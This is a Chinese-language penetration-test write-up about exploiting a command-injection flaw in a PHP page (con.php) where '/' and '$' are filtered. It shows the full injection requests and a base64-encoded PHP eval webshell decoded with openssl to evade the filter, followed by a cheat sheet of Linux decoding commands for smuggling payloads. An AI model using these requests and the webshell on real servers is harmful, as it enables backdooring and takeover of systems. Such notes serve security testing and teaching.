前言

‌‌‌‌  在某次测试中,环境存在命令执行漏洞,PHP环境-5.6.30,环境不出网,部分特殊符号无法使用($、/),在请求中不能出现斜杠(/),编码后(%2f)也不行,双重编码,写到文件时,只会解码一次,输出(%2f)。

问题记录

‌‌‌‌  测试如下:

1
GET /con.php?cmd=;id; HTTP/1.1

示:页面回显

1 写入PHP文件

‌‌‌‌  写入测试文件,获取时间,没问题,正常php解析。

1
GET /con.php?cmd=;echo%20%22%3c%3fphp%20echo%20time()%3b%3f%3e%22%20%3e%20187292720.php; HTTP/1.1

示:写入echo ““ > 187292720.php 正常解析

1.1 写入木马文件失败

‌‌‌‌  写入一句话木马,文件是写入成功,尝试连接失败,写入txt文件,在此环境中,$符号被解析了,写入的数据不完整。

1
GET /con.php?cmd=;echo%20%22l%3c%3fphp%20%40eval(%24_POST%5b1024%5d)%3f%3e%22%20%3e%20187292720.php; HTTP/1.1

示:连接失败


示:写入txt查看

2 尝试编码

‌‌‌‌  尝试使用base64编码,写入文件,一直无法解码成功,尝试过使用Hex编码解码,同样也不行,文件内容一直为空。(最初以为是有WAF拦截生成的PHP文件)

1
GET /con.php?cmd=;echo%20PD9waHAgQGV2YWwoJF9QT1NUWzEwMjRdKSAgPz4%3d%20%3e%20187292720.txt; HTTP/1.1
1
2
echo PD9waHAgQGV2YWwoJF9QT1NUWzEwMjRdKSAgPz4= > 187292720.txt
base64 -d 187292720.txt > 187292721.txt

示:

3 踩坑

1
GET /con.php?cmd=;which%20base64; HTTP/1.1


‌‌‌‌  base64、xxd命令一般情况下命令都会存在,刚开始没想会是命令的问题,因为命令运行文件生成了,只不过内容为空。通过which命令看了下,没有返回路径,环境内不存在base64命令,xxd命令也不存在。【之前的命令一直使用>号,进行写入文件,文件正常生成。然而误导了,以为命令运行成功。实际命令运行异常,同样会正常生成文件。】

1
2
3
4
which base64  //null
which xxd //null
which openssl //存在命令,/bin/openssl
which perl //null

‌‌‌‌  测试下来发现openssl命令存在,通过openssl命令解码成功写入文件。

1
2
echo "PD9waHAgQGV2YWwoJF9QT1NUWzEwMjRdKSAgPz4g" > 187292720.txt
openssl enc -d -base64 -in 187292720.txt -out 726234212.php

示:连接成功

各编码利用方式

‌‌‌‌  查找资料,汇总了linux自带的一些解码命令,方便后续查找,之前一直都是用的base64命令和hex编码。

1 自带解码命令

1.1.1 base64

适用系统:CentOS、Ubuntu(默认安装)
功能:将 Base64 编码的字符串解码为原始数据

1
2
3
4
5
echo "SGVsbG8=" | base64 -d  // 输出 "Hello"


echo PD9waHAgQGV2YWwoJF9QT1NUWzEwMjRdKSAgPz4= > 187292720.txt
base64 -d 187292720.txt -o 187292720.txt
1.1.2 echo -e

适用系统:CentOS、Ubuntu(默认安装)
功能:将十六进制字符串转换为对应字符并输出

1
echo -e "\x48\x65\x6c\x6c\x6f"  // 输出 "Hello"
1.1.3 printf

适用系统:CentOS、Ubuntu(默认安装)
功能:将十六进制字符串转换为对应字符并输出

1
printf "\x48\x65\x6c\x6c\x6f\n"  // 输出 "Hello"
1.1.4 xxd

适用系统:Ubuntu(默认安装);CentOS(需要安装 xxdvim-common
功能:十六进制到字符串的转换

1
2
3
4
5
6
7
8
9
10
echo "48656c6c6f" | xxd -r -p  // 输出 "Hello"

or

echo "48656c6c6f" > hex.txt
xxd -r -p hex.txt // 输出 "Hello"

or

xxd -r -p <(echo "48656c6c6f") // 输出 "Hello"
1.1.5 printf

适用系统:CentOS、Ubuntu(默认安装)
功能:将十六进制字符串转换为对应字符并输出

1
printf "\x48\x65\x6c\x6c\x6f\n"  // 输出 "Hello"
1.1.6 perl

适用系统:CentOS、Ubuntu(默认安装)
功能:解码 Base64 编码的字符串

1
echo "SGVsbG8=" | perl -MMIME::Base64 -ne 'print decode_base64($_)'
1.1.7 openssl

适用系统:CentOS、Ubuntu(默认安装)
功能:与 base64 相似,提供解码功能

1
2
3
4
5
6
echo "PD9waHAgZWNobyB0aW1lKCk7Pz4=" > 726234211.txt
openssl enc -d -base64 -in 726234211.txt -out 726234212.txt

or

echo "SGVsbG8gd29ybGQ=" | openssl base64 -d -out 726234212.txt

注意事项

‌‌‌‌  在特殊环境中,命令应尽量避免使用重定向(>)这种方式写入文件,使用命令自带的参数。【base64 -o xxx】【openssl -out xxx】,有些情况下需要通过http的状态码,判断文件是否成功写入,避免误判断。